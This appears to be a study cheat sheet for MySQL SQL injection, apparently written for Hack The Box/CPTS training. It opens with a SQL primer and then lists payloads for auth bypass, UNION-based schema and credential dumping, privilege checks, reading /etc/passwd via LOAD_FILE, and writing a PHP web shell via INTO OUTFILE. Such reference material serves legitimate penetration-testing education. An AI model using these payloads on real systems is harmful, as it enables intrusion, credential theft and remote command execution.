WEB^:Web

SQL Injection Fundamentals

Manual SQL injection: auth bypass, UNION, error/blind, DB fingerprinting and file read/write.

intermediateupdated 2026-08-09MySQL client

SQL Injection Fundamentals

Manual MySQL/MariaDB injection reference: SQL primer, auth bypass, UNION-based extraction, database enumeration, privilege checks, and file read/write.

MySQL Primer

General

-- Login to a MySQL database
mysql -u root -h docker.hackthebox.eu -P 3306 -p

-- List available databases
SHOW DATABASES;

-- Switch to a database
USE users;

Tables

-- Add a new table
CREATE TABLE logins (id INT, ...);

-- List available tables in the current database
SHOW TABLES;

-- Show table properties and columns
DESCRIBE logins;

-- Add values to a table
INSERT INTO table_name VALUES (value_1, ...);

-- Add values to specific columns in a table
INSERT INTO table_name(column2, ...) VALUES (column2_value, ...);

-- Update table values
UPDATE table_name SET column1=newvalue1, ... WHERE <condition>;

Querying Data

-- Show all columns in a table
SELECT * FROM table_name;

-- Show specific columns
SELECT column1, column2 FROM table_name;

-- Delete a table
DROP TABLE logins;

-- Add a new column
ALTER TABLE logins ADD newColumn INT;

-- Rename a column
ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn;

-- Change a column datatype
ALTER TABLE logins MODIFY oldColumn DATE;

-- Delete a column
ALTER TABLE logins DROP oldColumn;

Output Control

-- Sort by column
SELECT * FROM logins ORDER BY column_1;

-- Sort by column, descending
SELECT * FROM logins ORDER BY column_1 DESC;

-- Sort by two columns
SELECT * FROM logins ORDER BY column_1 DESC, id ASC;

-- Only show first two results
SELECT * FROM logins LIMIT 2;

-- Only show two results starting from index 1
SELECT * FROM logins LIMIT 1, 2;

-- List results that meet a condition
SELECT * FROM table_name WHERE <condition>;

-- List results where a name is similar to a given string
SELECT * FROM logins WHERE username LIKE 'admin%';

MySQL Operator Precedence

From highest to lowest:

  1. Division (/), Multiplication (*), and Modulus (%)
  2. Addition (+) and Subtraction (-)
  3. Comparison (=, >, <, <=, >=, !=, LIKE)
  4. NOT (!)
  5. AND (&&)
  6. OR (||)

SQL Injection

Auth Bypass

-- Basic auth bypass
admin' or '1'='1

-- Basic auth bypass with comments
admin')-- -

UNION Injection

-- Detect number of columns using ORDER BY
' order by 1-- -

-- Detect number of columns using UNION injection
cn' UNION select 1,2,3-- -

-- Basic UNION injection
cn' UNION select 1,@@version,3,4-- -

-- UNION injection for 4 columns
UNION select username, 2, 3, 4 from passwords-- -

DB Enumeration

-- Fingerprint MySQL with query output
SELECT @@version

-- Fingerprint MySQL with no output (time-based)
SELECT SLEEP(5)

-- Current database name
cn' UNION select 1,database(),2,3-- -

-- List all databases
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -

-- List all tables in a specific database
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -

-- List all columns in a specific table
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -

-- Dump data from a table in another database
cn' UNION select 1, username, password, 4 from dev.credentials-- -

Privileges

-- Find current user
cn' UNION SELECT 1, user(), 3, 4-- -

-- Find if the user has admin privileges
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -

-- Find all user privileges
cn' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE user="root"-- -

-- Find which directories can be accessed through MySQL
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -

File Injection

-- Read a local file
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -

-- Write a string to a local file
select 'file written successfully!' into outfile '/var/www/html/proof.txt'

-- Write a web shell into the base web directory
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -

Note — INTO OUTFILE write access depends on the secure_file_priv setting and filesystem permissions of the MySQL service account. LOAD_FILE is similarly constrained.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.